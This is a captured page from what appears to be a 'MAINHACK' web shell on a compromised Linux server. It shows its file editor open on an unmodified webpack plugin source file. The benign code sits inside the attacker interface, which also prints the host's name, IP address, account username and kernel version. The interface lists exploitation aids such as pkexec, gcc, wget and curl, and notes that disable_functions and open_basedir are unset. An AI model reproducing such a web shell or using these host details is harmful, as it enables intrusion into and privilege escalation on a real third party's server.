[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: RequireContextPlugin.js
/* MIT License http://www.opensource.org/licenses/mit-license.php Author Tobias Koppers @sokra */ "use strict"; const { cachedSetProperty } = require("../util/cleverMerge"); const ContextElementDependency = require("./ContextElementDependency"); const RequireContextDependency = require("./RequireContextDependency"); const RequireContextDependencyParserPlugin = require("./RequireContextDependencyParserPlugin"); /** @typedef {import("../../declarations/WebpackOptions").ResolveOptions} ResolveOptions */ /** @typedef {import("../Compiler")} Compiler */ /** @type {ResolveOptions} */ const EMPTY_RESOLVE_OPTIONS = {}; class RequireContextPlugin { /** * Apply the plugin * @param {Compiler} compiler the compiler instance * @returns {void} */ apply(compiler) { compiler.hooks.compilation.tap( "RequireContextPlugin", (compilation, { contextModuleFactory, normalModuleFactory }) => { compilation.dependencyFactories.set( RequireContextDependency, contextModuleFactory ); compilation.dependencyTemplates.set( RequireContextDependency, new RequireContextDependency.Template() ); compilation.dependencyFactories.set( ContextElementDependency, normalModuleFactory ); const handler = (parser, parserOptions) => { if ( parserOptions.requireContext !== undefined && !parserOptions.requireContext ) return; new RequireContextDependencyParserPlugin().apply(parser); }; normalModuleFactory.hooks.parser .for("javascript/auto") .tap("RequireContextPlugin", handler); normalModuleFactory.hooks.parser .for("javascript/dynamic") .tap("RequireContextPlugin", handler); contextModuleFactory.hooks.alternativeRequests.tap( "RequireContextPlugin", (items, options) => { if (items.length === 0) return items; const finalResolveOptions = compiler.resolverFactory.get( "normal", cachedSetProperty( options.resolveOptions || EMPTY_RESOLVE_OPTIONS, "dependencyType", options.category ) ).options; let newItems; if (!finalResolveOptions.fullySpecified) { newItems = []; for (const item of items) { const { request, context } = item; for (const ext of finalResolveOptions.extensions) { if (request.endsWith(ext)) { newItems.push({ context, request: request.slice(0, -ext.length) }); } } if (!finalResolveOptions.enforceExtension) { newItems.push(item); } } items = newItems; newItems = []; for (const obj of items) { const { request, context } = obj; for (const mainFile of finalResolveOptions.mainFiles) { if (request.endsWith(`/${mainFile}`)) { newItems.push({ context, request: request.slice(0, -mainFile.length) }); newItems.push({ context, request: request.slice(0, -mainFile.length - 1) }); } } newItems.push(obj); } items = newItems; } newItems = []; for (const item of items) { let hideOriginal = false; for (const modulesItems of finalResolveOptions.modules) { if (Array.isArray(modulesItems)) { for (const dir of modulesItems) { if (item.request.startsWith(`./${dir}/`)) { newItems.push({ context: item.context, request: item.request.slice(dir.length + 3) }); hideOriginal = true; } } } else { const dir = modulesItems.replace(/\\/g, "/"); const fullPath = item.context.replace(/\\/g, "/") + item.request.slice(1); if (fullPath.startsWith(dir)) { newItems.push({ context: item.context, request: fullPath.slice(dir.length + 1) }); } } } if (!hideOriginal) { newItems.push(item); } } return newItems; } ); } ); } } module.exports = RequireContextPlugin;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.62 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002